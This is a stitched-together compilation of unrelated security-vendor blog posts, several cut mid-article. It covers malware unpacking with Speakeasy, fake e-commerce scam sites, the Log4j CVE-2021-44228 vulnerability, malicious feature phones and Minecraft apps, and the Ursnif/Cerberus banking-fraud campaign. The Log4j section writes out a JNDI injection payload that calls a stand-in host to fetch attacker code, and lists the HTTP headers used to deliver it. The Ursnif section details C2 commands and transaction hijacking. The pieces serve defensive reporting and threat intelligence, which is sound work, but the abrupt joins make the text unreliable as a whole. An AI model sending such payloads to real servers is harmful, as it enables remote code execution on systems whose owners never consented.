If you know the GetProcAddress API is used by the unpacker stub to resolve imports for the unpacked PE, you can call the get_dyn_imports function as shown in Figure 13.
api_addresses = self.get_dyn_imports() Figure 13: Retrieving dynamic imports Otherwise, you can query the emulator class to retrieve its symbol information by calling the get_symbols function as shown in Figure 14.
symbols = self.get_symbols() Figure 14:
Retrieve symbol information from emulator class This data can be used to discover the IAT of the unpacked PE and fix or reconstruct its import related tables.
Putting It All Together Writing a Speakeasy script to unpack a malware sample can be broken down into the following steps: Reverse engineer the unpacking stub to identify: 1) where the unpacked code will reside or where its memory is allocated, 2) where execution is transferred to the unpacked code, and 3) any problematic code that may introduce issues such as unsupported APIs, slow emulation, or anti-analysis checks.
If necessary, set hooks to bypass problematic code.
Set a hook to identify the virtual address and, optionally, the size of the unpacked binary.
Set a hook to stop emulation at, or after, execution of the original entry point of the unpacked code.
Collect virtual addresses of Windows APIs and reconstruct the PE’s import table.
Fix the PE’s headers (if applicable) and write the bytes to a file for further analysis.
For an example of a script that unpacks UPX samples, check out the UPX unpacking script in the Speakeasy repository.
Conclusion The Speakeasy framework provides an easy-to-use, flexible, and powerful programming interface that enables analysts to solve complex problems such as unpacking malware.
Using Speakeasy to automate these solutions allows them to be performed at scale.
I hope you enjoyed this introduction to automating the Speakeasy framework and are inspired to begin using it to implement your own malware analysis solutions!
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FortiGuard Labs Threat Research Report Black Friday and Cyber Monday kick off the holiday shopping season.
In fact, 30% of all retail sales occur between Black Friday and Christmas Day.
And since the advent of Cyber Monday, brick and mortar and ecommerce stores alike stand to generate a significant portion of their annual revenue over this shopping “holiday” weekend, often allowing retailers to catch up on revenue and meet goals and sales numbers for the year.
In the lead-up to this event, FortiGuard Labs has observed more and more scams involving counterfeit websites that appear to be legitimate ecommerce sites.
We say “appear to be” because to the untrained eye these sites may look safe, but if you aren’t paying attention they can steal your payment (and possibly payment information) via a purchase you thought was legitimate.
Fake ecommerce sites are quickly becoming the latest threat to consumers and they cover a wide range of products to lure potential buyers.
We recently came across a live, active scam that leverages the look and feel of the world’s largest companies and their respective trademarks to compel and lure victims into making purchases from their site.
These sites are in no way affiliated with the trademark/IP owner, and are recognizable in part because they use the same template over and over in a digital game of whack-a-mole (meaning that as soon as one site gets shut down another one immediately pops up somewhere else).
Several of the high-profile brands we have documented include: Blink (Amazon) Oculus (Facebook)
Other well known brand names infringed include: Coleman (Camping Gear)
Ninja (Home Appliances)
Nu Wave (Home Appliances) Ryobi (Power tools) Makita  (Power tools)
We also observed others that have since been taken down: Keurig Nespresso Common Framework The websites we’ve observed have the following characteristics in common:
The domain names have only been registered for a few days to a few months All sites are registered with the same registrar They use .TOP
and .SHOP top level domains (.com is also common)
They use stolen imagery They contain numerous grammatical errors and inconsistencies in statements Social Media buttons do not resolve anywhere or go to accounts that either do not exist or have been deleted Their webhosting providers utilize content delivery networks (CDN) to remain anonymous (via an IP address that cannot be traced) Milwauketools.shop (Recently registered on 10/21/21)
Milwaukee Tools is a well-known and globally established tool company based out of the United States.
Milwaukee Tools products are usually sold via authorized retailers online or in stores.
We came across a recently registered online site, milwauketools[.
]shop , that had the look and feel of a professional ecommerce retailer.
What caught our eye immediately (besides the misspelled domain name) was the very low price on the “2696-26 M18 LITHIUM-ION CORDLESS 6-TOOL COMBO KIT” for $99.00.
Except for discontinued models/lines, such greatly reduced prices (this kit normally sells for $659) is oftentimes the hallmark of a scam.
However, to the untrained eye—the limited time offer via the countdown timer, the professional look and feel of the site—will likely catch the attention of an impulse buyer.
And that is what the bad actor behind this site is hoping for.
They are hoping for an impulse buyer who isn’t paying attention to fall prey to their scam.
Red Flags Although the About US and Our Culture sections of this website appear to be written by someone with a good grasp of the English language (likely stolen from a legitimate site), the “milwauketools” (figure 3) string is indicative of a small error that tells us that this is not related to the official Milwaukee Tools organization, even though the trademarked logo in the screenshot below has the correct spelling.
This suggests that the actor was following a template during the creation of this site: Another red flag is that the domain was created on the 21 st , which at the time of writing this blog made it only five days old.
Looking at the source code of the shopping cart, we see the string “刷新按钮“, which translates to a “refresh button”.
Perhaps this is indicative of the origins of the group behind this site, or the shopping cart was repurposed from elsewhere.
A visit to the actual company website (milwaukeetool.com) reveals that they do not sell direct, which is often the case of many major brands: A Bing.com shopping query highlighted that the lowest official price for this 2696-26 M18 LITHIUM-ION CORDLESS 6-TOOL COMBO KIT is $613.00 (USD).
Further Scrutiny As we dug deeper by using OSINT (Open Source Intelligence) searches on the major search engines, we found 19 more online retail sites using the same template and shopping carts as the Milwauketools.shop, suggesting that these are all part of a larger scam.
This was further confirmed when we determined that they have all been registered with the same registrar.
Included in our findings were websites selling Oculus (Facebook), Blink (Amazon), and many more.
The Oculus Template:
However, if we dig further, we can see that the Oculus Quest 2 is using a template similar to the Milwauketools.shop site.
It also contains the same countdown timer and limited time offer, along with the low price of $99 USD for something that has a $699 MSRP.
The blink Template: The blink template has the same professional look: And again, the blink template looks convincing.
But if we scrutinize further, we again see the same countdown timer and the same limited time offer of $99 USD for something that has a $379 MSRP:
It is important to note that these similarities are repeated across all the sites we have identified.
Additional Respected Brands All in the Same Family
Finally, the About Us section for each of these sites not only contains the same verbiage, but are templated in a similar fashion, albeit with a slight difference from the MilwaukeTools.shop page: Assessment Each of these fraudulent domains is, on average, only several months old, with the oldest of them at the time of writing (Intexpool-us.com) being over 5 months old.
In the screenshot below, we list the domains of other imitation retail sites FortiGuard Labs found, their similar creation dates, and their common registrar and CDN use, along with their use of a common template: Questions and Answers How is all this possible?
Isn’t building a website only to have it taken down a huge waste of time?
Website and ecommerce software have evolved considerably over the past decade.
With the widespread usage of content management systems (CMS), where CMS and shopping carts are often bundled together with a content delivery network (CDN) by a webhost, bad actors are able to deploy ecommerce sites in record fashion.
What exactly is a CDN?
A CDN essentially enables the fast and efficient delivery of website content to requests from all over the world.
It performs this by storing local caches of the website in various geographic locations.
It does this by linking together a network of servers to deliver content as quickly and cheaply as possible.
A CDN provider places servers at internet exchange points (IXPs) between different Internet providers so they can distribute content geographically closer to website visitors, allowing them to experience faster page loads.
CDNs were once the realm of only large corporations.
However, as the price of the CDN has come down, many webhosting providers who offer shopping carts are also providing CDN services.
This has an additional advantage for cybercriminals as this also allows for the origination IP address to be hidden, meaning many websites (good and bad) often share the same IP address.
Not only does this make attribution difficult, it gives a bad actor another layer of anonymity.
How do People Come Across these Sites?
People usually find these sites via simple keyword searches in search engines.
They simply type in the specific product they are looking for and either the product shows up in the shopping tab or is promoted via keyword placement.
Other routes to market include social media promotions.
I and/or My Company Owns Intellectual Property that is Being Infringed?
What Can I Do?
Outside of consulting your own legal counsel (if you have the budget or have in-house counsel), you will have to rely on the registrars of the domain to take action.
Due to the anonymity of WHOIS records, along with the anonymity of the true IP address of the bad actor due to their use of CDN, it can be very difficult to figure out who or what is behind the domain in question.
Contacting the listed registrar in the WHOIS records is the best course of action, as many reputable registrars have an abuse contact form for domains violating their terms of service agreement.
Do We Know Who These Threat Actors Are?
Unfortunately, no.
As the registrar of the domains and usage of CDN for these sites allow a high degree of anonymity, we don’t know who these scammers really are or if they are working alone or as part of a larger group.
However, due to the usage of the same templates and the same modus operandi, it is highly likely that this is the work of one group.
But there is also the possibility that this template may simply be being reused by multiple individuals and scammers.
Dos and Don’ts Do perform due diligence and scrutinize websites for inconsistencies, such as mismatched fonts, inconsistent use of colors, changes in language usage, different prices or descriptions in various text, etc.
Do check WHOIS records to see how long the domain has been in existence.
Do look for typos and grammar (as most corporations hire copy editors) Do send an email to the company that you think might be being impersonated before you make a purchase.
Don’t impulsively buy an item if it is super cheap.
Like the old adage, if it’s too good to be true, it probably is.
Don’t panic.
If you feel you have been the victim of a scam, please call your credit card company right away and inform them of a potential scam.
Conclusion of the Proliferation of Fake Ecommerce As the internet matures, so does software.
As a result, the gap between professional vs individual ecommerce websites has shrunken considerably.
An area that once was relegated to the expertise of web developers over a decade ago—the ability to build and deploy a usable (and untraceable) shopping cart as part of a counterfeit website scam—can now be easily designed by anybody with a working knowledge of content management systems (CMS).
This is making it harder and harder to detect scam websites without doing some digging.
In fact, someone with moderate technical knowledge can get a professional looking ecommerce site online within several hours, especially if they are using a proven template.
Users are strongly cautioned to careful review any website they are unfamiliar with before making a purchase.
Wherever possible, FortiGuard Labs has reached out to the trademark/intellectual property owners being infringed on as a courtesy notification.
Fortinet Protections All associated URLS for these fraudulent sites have been added to the Web Filtering client.
Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
Log4j is a popular logging library used in Java by a large number of applications online.
To enhance its functionality from basic log formatting, Log4j added the ability to perform lookups: map lookups, system properties lookups as well as JNDI (Java Naming and Directory Interface) lookups.
Log4j uses the JNDI API to obtain naming and directory services from several available service providers: LDAP (Lightweight Directory Access Protocol), COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service), etc.
Description of the CVE-2021-44228 vulnerability Fig 1: Typical CVE-2021-44228 Exploitation Attack Pattern Log4j versions 2.0 through 2.14.1 have been found to be vulnerable to a Remote Code Execution vulnerability due to the fact JNDI does not protect against attacker-controlled directory service providers.
Typically, a JDNI lookup would look like this: ${jndi:logging/context-name} Which allows to retrieve variables to be included in the log.
But with carefully crafted data to be logged, JNDI will attempt to retrieve the variable with whatever service is presented in the log entry, for example: ${jndi:ldap://myserver.com/payload1}
This log format will make JNDI retrieve the contents of payload1 from myserver.com.
This can obviously be abused to provide malicious content to compromise the logging server.
But how does the attacker get this string over to Log4j in the first place?
The attacker has to know what is being logged by the application listening over the attacked port.
For example, if the attack is on port 80 over http and the listener is a web server, the attacker knows the User-Agent string is usually logged by the server.
Therefore, they would set the User-Agent string in their http request to ${jndi:ldap://myserver.com/payload1}.
This is enough to trigger the vulnerability.
This is just an example.
Web servers log many headers, therefore one has to be careful not to focus on just User-Agent.
Referrer is another header that is typically logged as well as GET, X-Remote-IP, X-Forwarded-For, etc.
There are dozens of headers that are typically logged.
We provide below a list of headers that we have already seen used in exploit attempts in the wild.
For this attack to be complete, the attacker needs to host an “LDAP” server (which doesn’t have to be a real LDAP server at all) that will respond with the second stage payload of the attack.
The response to the JNDI request will be used to build the location of the object at: http://myserver.com/payload2.class
At this point, Log4j will fetch and run payload2.class in the server’s process, therefore allowing the attacker to execute this arbitrary code with the privileges of the web server’s process.
Fig 2: pcap showing JTL reproduction of the attack using LDAP as an attack vector.
The same approach can be used to trigger an RCE using RMI, since the attacker would reference rmi://myserver.com/payload, which is a class that will be loaded and executed by Log4j.
It is unclear at this point whether a DNS service would also lead to RCE.
Attacks in the wild Fig 3: Log4j requests Juniper Threat Labs has seen over the past 3 days.
Juniper Threat Labs has been seeing some amount of scanning looking for vulnerable servers.
A common method used by attackers is inserting the malicious request in the User-Agent header as most web servers will log this field to identify the browsers connecting to them.
But we have also seen attacks where the malicious requests are injected in different headers such as the ones below: User-Agent: Authorization: CF-Connecting_IP: Client-IP: Contact: Cookie: Forwarded-For-Ip: Forwarded-For: Forwarded: From: Originating-IP: Proxy-Client-IP: Referer: True-Client-IP: X-Api-Version: X-Client-IP: X-Client-Ip: X-Forwarded-For: X-Host: X-Originating-Ip: X-Real-IP: X-Remote-Addr: X-Remote-Ip: X-Wap-Profile:
In addition to the straightforward attacks, we have also seen some connections that attempt to obfuscate the requests such as using {lower: } or {upper:} in the request: Or using an HTTP post command and burying the malicious request in the POST body: This POST form would probably not succeed at exploiting this Log4j vulnerability in most situations because POST body is usually not logged.
Given the port number used (8983), this seems to be targeting Apache SOLR enterprise search platform, which does not log POST bodies.
Resolution Apache has released Log4j version 2.15 which contains a fix for this CVE.
It is recommended to immediately upgrade to this version.
Mitigation If you cannot upgrade to the fixed version of Log4j, you can mitigate this vulnerability as follows:
For versions 2.0 and before 2.10, Apache recommends removing the Jndi Lookup class from the classpath by running zip -q
-d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
For versions 2.10 and above, set the system property formatMsgNoLookups to true or set the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true .
If you cannot do any of the above, you can block all outbound LDAP or RMI connections using Application Identity filters.
Juniper SRX NG Firewall provides AppID signatures for both protocols.
Juniper Cloud Workload Protection customers already have native detection for this attack on protected applications and can block it.
In the example below, you can see that Juniper’s CWP is detecting the LDAP remote access request as suspicious because it was initiated from content that was provided to the application via data input.
Juniper SRX
Next Gen Firewall customers can block these attacks with the IDP sig pack #3444 (Enhanced in #3445), but there is always a chance of variations that are not handled by existing signatures.
Juniper Threat Labs is keeping an eye on all the variations that show up and will immediately spin up enhanced signatures when needed.
Attack Variations Seen in the Wild A number of these attacks are probes by security researchers, but unfortunately we have to consider them as potentially malicious until proven otherwise.
Threat actors also mimic threat researchers in hopes of hiding in the grey noise.
Attack 1 Attack 2 Attack 3 Attack 4 This attack installs a linux Cryptominer e7c5b3de93a3184dc99c98c7f45e6ff5f6881b15d4a56c144e2e53e96dcc0e82 Attack 5 Attack 6 Attack 7 Indicators of Compromise 163[.]172[.]157[.
]143:1389 185[.]250[.]148[.
]157:1389 32fce0c1f193[.]bingsearchlib[.
]com:39356 45[.]130[.]229[.
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]233:12344 45[.]83[.]193[.
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]21:5557 176[.]32[.]33[.
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Industrial enterprises such as electric utilities, petroleum companies, and manufacturing organizations invest heavily in industrial control systems (ICS) to efficiently, reliably, and safely operate industrial processes.
Without this technology operating the plant floor, these businesses cannot exist.
Board members, executives, and security officers are often unaware that the technology operating the economic engine of their enterprise invites undetected subversion.
In this paper, FireEye iSIGHT Intelligence prepares risk executives and security practitioners to knowledgeably discuss six core weaknesses an adversary can use to undermine a plant's operation: Unauthenticated protocols Outdated hardware Weak user authentication Weak file integrity checks Vulnerable Windows operating systems Undocumented third-party relationships Download the report to learn more.
To discuss these six subversive vulnerabilities threatening today’s industrial environments, register for our live webinar scheduled for Tuesday, April 25 at 11:00am ET/8:00am PT.
Explore the implications and how to address them firsthand with our ICS intelligence experts.
Subscribe to Blogs Get email updates as new blog posts are added.
A recent review of five entry-level mobile phones retailing for about $10–$20 examined their security in detail .
Commonly referred to as “feature phones” or “granny phones” — and often procured for elderly relatives either unwilling or unable to get used to smartphones — such phones can also be “just in case” spares.
Some people also believe they are safer than Android-powered smartphones.
Well, the reviewer refuted that last bit.
He discovered hidden functions in four out of the five phones: Two transmit data at first power up (leaking the new owner’s personal information), and the other two not only leak private data, but can also subscribe the user to paid content by secretly communicating over the Internet with a command server.
Infected granny phones The study author offers information about the methods used to analyze these simple devices’ firmware, the technicalities of which may be interesting to those willing to repeat the same analysis.
However, let’s get straight to the findings.
Out of the five phones, two send the user’s data somewhere the first time they’re powered on.
To whom the data goes — manufacturer, distributor, firmware developer, or somebody else — is not clear.
Neither is it clear how the data may be used.
It could be assumed that such data might be useful to monitor sales or control the distribution of batches of products in different countries.
To be clear, it doesn’t sound very dangerous; and after all, every smartphone transmits some telemetry data.
Remember, however, that all major smartphone manufacturers at least try to anonymize the data they collect, and its destination is usually more or less clear.
In this case, however, nothing is known about who is collecting owners’ sensitive information without their consent.
For example, one of the phones transmits not only its serial number, country of activation, firmware info, and language, but also the base station identifier, handy for establishing the user’s approximate location.
Moreover, the server collecting the data has no protection whatsoever, so the information is basically up for grabs.
One more subtlety: The transmission takes place over the Internet.
To be clear, a feature phone user may not even be aware that the device can go online.
So, apart from anything else, the covert actions may result in surprise mobile traffic charges.
Another phone from the review group, apart from leaking user data, was programmed to steal money from its owner.
According to firmware analysis, the phone contacted the command server over the Internet and executed its instructions, including sending hidden text messages to paid numbers.
The next phone model had even more advanced malicious functionality.
According to one actual phone user, a total stranger used the phone number to sign up for Telegram.
How could that have happened?
Signing up for almost any messaging app means providing a phone number to which a confirmation code is sent by SMS.
It seems, however, the phone can intercept this message and forward the confirmation code to a C&C server, all the while concealing the activity from the owner.
Whereas the previous examples involved little more than unforeseen expense, this scenario threatens real legal problems, for example should the account be used for any criminal activities.
What should I do now that I know push-button phones are unsafe?
The difference between modern low-end phones and their counterparts of 10 years ago is that now, even dirt-cheap circuitry can include Internet access.
Even with an otherwise clean device, this may prove an unpleasant discovery: a phone chosen specifically for its inability to connect to the Internet goes online anyway.
Earlier, the same researcher analyzed another push-button phone .
Although he found no malicious functionality, the device had a menu of paid subscriptions for horoscopes and demo games, the full versions of which the user could unlock — and pay for — with a text.
In other words, your elderly relative or child could press the wrong button on a phone purchased specifically for its lack of Internet and apps and end up paying for the mistake.
What makes this “infected” mobiles story important is that it’s often the manufacturer or a dealer back in China adding the “extra features,” so local distributors may not even be aware of the problem.
Another complicating factor is that push-button phones come in small batches in a multitude of different models, and it is hard to tell a normal phone from a compromised one, unless one can thoroughly investigate firmware.
Clearly, not all distributors can afford adequate firmware control.
It might be easier just to buy a smartphone.
Of course, that depends on budget, and unfortunately, cheaper smartphones may have similar malware issues .
But if you can afford one — even a very simple one — from a major manufacturer, it could prove a safer choice, especially if your reason for choosing a push-button device is that you’re looking for something simple, reliable, and free of hidden functions.
You can mitigate Android risks with a reliable antivirus app ; feature phones offer no such control.
As for elderly relatives, if they’re used to answering calls by opening their flip phone, adapting to a touch screen may prove next to impossible, but upgrading is worth a try in our opinion.
Plenty of older folks have switched to smartphones easily enough and can now happily experience the wide world of mobile computing.
Although we recently reported finding 20 apps in Google Play posing as Minecraft modpacks — the most popular with more than a million downloads — Minecraft -themed malware continues to pop up in Google Play.
Instead of doing anything they claimed, the apps turned users’ smartphones and tablets into extremely intrusive advertising tools.
To be clear, the apps were totally useless from a user perspective.
Instead, after the first run they hid their icons and repeatedly opened the browser to flash ads.
They could also play videos from YouTube, open Google Play app pages, and more.
The version we analyzed, for example, opened the browser every two minutes, rendering the device essentially unusable.
The thing was especially troubling, because it was extremely hard for a user to figure out what was going on, which app was responsible for the troubles and how to stop it.
We notified Google about our find, and the malicious apps were quickly removed from the store.
New versions of malicious apps Deletion from Google’s app store does not necessarily defeat malware; historically, its makers simply upload new, slightly modified, versions using different names and from different developer accounts.
One example of the cycle comes from the VK Music Trojan, which stole VK user accounts and, despite being reported, dug in to Google Play for several years .
Mindful of that, we revisited the case of the harmful Minecraft modpacks in Google Play to find out whether reporting had helped.
To that end, we launched a search for similar apps — and found some.
New, improved versions First, we found several apps using the abovementioned approach, but with some improvements.
In a basic scenario the apps accept push message commands from the attackers to show full-screen ads (no user interaction required).
The apps are designed to download an extra module as well.
With that module downloaded, more functions become available, enabling the apps to hide their icons, run the browser, play YouTube videos, open Google Play app pages, and so forth.
This time, the list of compromised apps included, in addition to Minecraft mods, a file recovery utility called File Recovery – Recover Deleted Files .
Version 1.1.0, available from Google Play until February 2021 had a malicious payload.
That version has been removed, and version 1.1.1, which is now on Google Play, is safe.
Simplified version with paid subscription on Google Play Second, we found a couple of Minecraft modpacks with basic functionality, a configuration in which the apps occasionally show full screen ads, even with the app inactive, but are unable to hide their icons or run the browser, YouTube, or Google Play.
For extra monetization, the in-app purchases function is used.
One of the malicious Minecraft modpacks in Google Play
Interestingly, one of the apps is now available from the store as a “basic” version and with in-app purchases enabled, whereas a couple of months back it relied on the extra downloadable module.
From this we conclude that their owners are continuing to experiment with monetization options.
Facebook-account-stealing version Third, we found several more apps were found in which the described above malicious functionality was not the core one.
A while ago, for example, Google Play carried a fake Madgicx advertising network app and a fake TikTok ad-management app that would insistently prompt for the user’s Facebook account data and, if user provided it, would steal the account.
Apps from alternative stores Finally, many such apps remain available from alternative stores even after Google removes them from its store.
Which is no surprise; even Google, with vastly more resources than the average company, can’t always promptly moderate the great volume of existing apps.
Yet we decided to mention this aspect here, as it provides clear evidence that alternative stores are unsafe to use.
If still intending to use them for whatsoever reason, at least install a reliable mobile antivirus to protect you against dangerous apps.
That said, as we see from this story, as well as many other episodes of malware getting into the official Google app store , even if you download your apps only from Google Play, you are still better off with an antivirus on your smartphone.
Contributed to this research: Segev Fogel, Amir Gendler and Nethanella Messer.
IBM Trusteer researchers continually monitor the evolution and attack tactics in the banking sector.
In a recent analysis, our team found that an Ursnif (aka Gozi) banking Trojan variant is being used in the wild to target online banking users in Italy with mobile malware.
Aside from the Ursnif infection on the victim’s desktop, the malware tricks victims into fetching a mobile app from a fake Google Play page and infects their mobile device with the Cerberus Android malware.
The Cerberus malware component of the attack is used by Ursnif’s operators to receive two-factor authentication codes sent by banks to their users when account updates and money transfer transactions are being confirmed in real-time.
Cerberus also possesses other features and can enable the attacker to obtain the lock-screen code and remotely control the device.
Cerberus is an overlay-type mobile malware that emerged in mid-2019 but initially lacked advanced capabilities.
It has evolved over time to eventually feature the ability to hijack SMS content and control devices remotely, alongside other sophisticated data theft features .
Cerberus was peddled in the underground as commodity malware until the summer of 2020, taking over the market share of Anubis, a previous pay-per-use malware.
In September 2020, Cerberus’ development team decided to disband, spurring an auction attempt that aimed to sell off the source code to the highest bidder, starting at $100,000 .
The code did not sell but was instead shared with the malware’s customer base, which meant it was publicly leaked.
That intentional release of the source code gave rise to numerous malware campaigns involving Cerberus and likely also led to this combined attack with the Ursnif banking Trojan.
A Combination Attack From Desktop to Smartphone Ursnif is a very long-standing staple in the cybercrime arena, possibly the oldest banking Trojan that’s still active today.
Recent campaigns featuring this malware have been most notable in Italy, where it is typically delivered to business email recipients in attachments that purport to carry invoices, delivery notices or other business correspondence.
The infection chain commonly involves poisoned macros, getting past email controls by featuring productivity files most organizations use.
In some campaigns, the attackers keep access to the infection zone limited to Italian-based IP addresses only.
Once infected by the Ursnif malware and upon attempting to access their online banking account, victims are advised, via web injection, that they won’t be able to continue to use their bank’s services without downloading a security app.
To obtain that app, they are shown a QR code and instructed to scan it with their phone’s camera.
Figure 1: Web injection instructing infected users to download a mobile app Looking into the QR code provided through the injection, we found a Base64 encoded string with the details.
Figure 2:
Malicious QR code’s content is a Base64-encoded string If users scan the QR code, they will open a web page on their smartphone and be sent to a fake Google Play page featuring a corresponding banking app logo of the banking brand the victim originally attempted to access.
The campaign, in this case, included a number of domains that were most likely registered for that purpose and reported in other malicious activity in the past, such as hxxps://play.google.servlce.store/store/apps/details.php?id=it.
[BANK BRAND].
Each of the domains hosting the fake Google Play pages used similar words or typo-squatting to appear legitimate.
Some examples are: google.servlce.store gooogle.services goooogle.services play.google.servlce.store play.gooogle.services play.goooogle.services.
These malicious domains have been flagged on VirusTotal for a few months, with more reports accumulating over time.
Reports on the malicious Android Packages (APKs) that conceal the Cerberus malware spread in this campaign have been flagging it since at least late-2020.
In cases of users who do not successfully scan the QR code, they are asked to provide their telephone number and subsequently receive an SMS message with a download link to fetch the malicious application, which warns users about a potential service interruption if they fail to obtain the app.
Figure 3: Web injection instructing infected users to provide their phone number In the background, the injection’s code couples the phone number inserted by the victim with the bot ID the Ursnif malware assigned to that infected desktop, the bank’s name the victim uses and their login credentials as grabbed by Ursnif.
Notice the use of the word ‘Jambo’ in parts of the code.
It is most likely that Ursnif’s operators wrote a jQuery library to simplify HTML Document Object Model tree traversal and manipulation, using it to orchestrate their injections.
Fraudsters can use the library to define the amounts to transfer from accounts and other parameters of the fraudulent transaction.
Figure 4: Injection code sending Cerberus infection URL to Ursnif-infected victims If the victims submit their phone number on the web injection, the remote server will send back a download URL for them to unknowingly download the Cerberus malware.
This injection also keeps the victims’ device identifiers linked to their bot ID and account credentials.
Figure 5: Injection code sending Cerberus infection URL to Ursnif-infected victims, additional view Cerberus in Action Cerberus campaigns have already been detected spreading through the official Google Play store in the past, but this distribution attempts to land on victim devices through a third-party source — the attacker’s domains.
The option to sideload APKs is not enabled by default on Android devices, and the choice to deliver the malware from a non-official source may have limited the spread of the campaign to a larger number of devices.
When Cerberus is downloaded to a new device, it takes into account the original bank name the victim attempted to access when the infection process was initiated.
A JavaScript function includes those details and ensures the victim continues to see a consistent message.
Here too, the ‘Jambo’ word repeats throughout the function, calling into action the jQuery library that orchestrates the malware’s script-based activity.
Figure 6:
JavaScript function fetches Cerberus malware Cerberus is being used here only as the component that allows the attackers to bypass the bank’s SMS-code verification challenge.
The fraudulent transaction itself takes place on the victims’ infected desktops (Windows-based devices).
While most fraud is in-session using Gozi SOCK proxy capability, some access to the victim’s account came from other devices.
Ursnif’s C2 Communications
The basics of Ursnif’s command and control (C2) communications are also carried out through the same channels.
Jambo.getScript sends information to srv_dom, which is the malware’s injection server in this case, used to manage the man-in-the-browser activity.
Figure 7: Injection server communications The core commands botmasters can launch come in where string ‘step=’ appears.
Some of the available bot actions are: Command Description ADD_INFO Send data to C2: token, SMS content, telephone, download an application.
ASK Send communication to the C2.
GET_DROP Check account balance on the victim’s bank account.
GOOD_TRF Attempt to initiate a money transfer transaction.
LOGIN Send victim’s login information to attacker’s C2 server.
PING Check if the infected machine is currently online.
IBAN Swapping Back in Style On the infected desktop, we are back to seeing familiar activity from the Ursnif Trojan.
Since it hooks the internet browser, it takes different steps to manipulate what victims see on their screens and have them click on elements that launch the Trojan’s resources into action.
One of the actions Ursnif wishes to take here is to automate transactions that start on the desktop’s browser.
To do that, it is designed to swap the international bank account number (IBAN) and bank identifier code (BIC) numbers from legitimate transactions for an IBAN of an account the fraudster controls.
To launch its fraudulent transaction flow, Ursnif needs to start a function that would be clicked by the infected victim.
It, therefore, attempts to replace a login button from the original bank’s webpage and plant its own button that the victim will click.
The function launched is named ‘hookPay()’: Figure 8: hookPay() function – Ursnif replaces IBAN number in legitimate transactions The function being used to swap the IBAN and plan the transaction parameters is called ‘makeTrf()’.
The amount being transferred is set to move forward if the account’s balance is higher than €3,000.
Figure 9: makeTrf() function – Ursnif sets up the fraudulent transaction’s parameters Injections Adapt to Security Challenge
The configuration file in this campaign targeted the customers of banking institutions in Italy, specifically business banking services.
On top of that, the attackers were after e-wallet and e-commerce credentials.
Web injections were adapted to each target’s security challenge; for example, an injection instructing victims to provide numbers from a hard token.
Figure 10:
Adapting web injection social engineering to security challenge Victims are asked to enter the code they received into the web injection and are given a 90-second time-lapse to do that, likely also adapted to the time allotted by the targeted bank or service provider: Figure 11:
Adapting web injection social engineering to security challenge, additional view After receiving the data from the victim, the malware sends data to the C2 server, including authorization token, SMS content, telephone number and account login information.
It then shows a .gif file that makes it appear as if the web browser is loading something.
After a couple of seconds, the .gif file is hidden, and the malware continues the login process in the background.
To prevent victims from accessing the account and discovering the fraudulent activity before it is finalized, Ursnif presents a maintenance notice on the account.
This notice can effectively prevent the victim from accessing the account from the infected device.
Figure 12:
Victims are denied access to their bank account to hide fraudulent activity Something Old, Something New — The Ursnif-Cerberus Combo Banking Trojan operators have always been fans of fraud they can automate.
The rollout of two-factor authentication and strong transaction authorization schemes by online banking services across the globe have caused this entire threat actor class to rethink their tactics, techniques and procedures.
Over time, the incorporation of mobile malware into the overall scheme of banking Trojan fraud has become a must, since it is the only way to complete transactions.
The hindrance remains that malware operators have to continue to find ways to infect more mobile devices, especially when getting into official app stores has been getting harder.
Also, activating the victim for the initial setup of the automation process is another place where the criminal can fail.
Fortunately, these are also the places where defenders can help prevent fraud.
Seeing Ursnif using Cerberus as its mobile malware component is new, but it is not surprising in the banking Trojan arena.
Banking Trojan operators are constantly shifting tactics, but the strategy remains the same — they have to gain access to victims’ smartphones if they hope to get through security controls applied to banking and other services consumed online.
Using Cerberus is also expected since the code was leaked and gave the option to any malware operator to make use of it against unsuspecting victims.
IBM Security Trusteer helps organizations detect fraud, authenticate users and establish identity trust across the omnichannel customer journey.
Through cloud-based intelligence, backed by artificial intelligence and patented machine learning, Trusteer provides a holistic approach to identifying new and existing customers, while improving the user experience.
More than 500 leading organizations rely on Trusteer to help secure their customers’ digital journey and support business growth.
To learn more visit: https://www.ibm.com/security/fraud-protection/trusteer To keep malware off your mobile devices, follow some security hygiene basics: Don’t jailbreak a smartphone Only download apps from Google Play’s official store If you download from a URL, get your bank’s application via your bank’s website Don’t enable sideloading; your bank or service provider will not ask you to load applications from unofficial sources Check who is the developer of the app you are downloading; if it does not look right, abort the download Be wary of excessive app permissions: Only allow apps to use your device for the purpose you require and not for unrelated activities If it looks like there’s a new security requirement from your bank, close the browser window and call your bank with the number on the back of your card to verify what’s needed If a transaction you attempted to carry out is stopped by an apparent ‘maintenance’ issue, attempt to access the account from a different device or call your bank.
IOCs C2 Servers */statppaa/* hxxp://sanpoloanalytics[.
]org/pp_am/ */statmoflsa/
* hxxp://sanpoloanalytics[.
]org/lancher/ MD5 Gozi: b6921ce0f1b94a938acb6896cc8daeba MD5 Cerberus + APK: 40b8a8fd2f4743534ad184be95299a8e17d029a7ce5bc9eaeb28c5401152460d Phishing domains and C&C servers: C&C: hxxps://ecertificateboly.us/lancher/ hxxp://sanpoloanalytics.org/lancher/
Phishing: hxxps://play.google.servlce.store/store/apps/details.php?id=it.phoenixspa.inbank hxxps://play.gooogle.services/store/apps/details.php?id=com.paypal.android.p2pmobile hxxps://google.servlce.store hxxps://gooogle.services hxxps://goooogle.services hxxps://play.google.servlce.store hxxps://play.gooogle.services hxxps://play.goooogle.services IP addresses: SOCKS Proxy: 37.120.222.138:9955 VNC: 194.76.225.91
Often in discussions with customers and potential customers,\nquestions arise about our penetration testing services , as well as\npenetration testing in general.
In this post, we want to walk\nthrough
Mandiant's take on the five W's of penetration testing, in\nhopes of helping those of you who many have some of these same\nquestions.
For clarity, we are going to walk through these W's in a\nnon-traditional order.
Why First and foremost, it's important to be upfront\nwith yourself with why you are having a penetration test performed\n(or at least considering one).
If your organization's primary\nmotivation is compliance and needing to \"check the box,\"\nthen be on the lookout for your people attempting to subtly (or not\nso subtly) hinder the test in order to earn an \"easy pass\"\nby minimizing the number of findings (and therefore the amount of\npotential remediation work required).
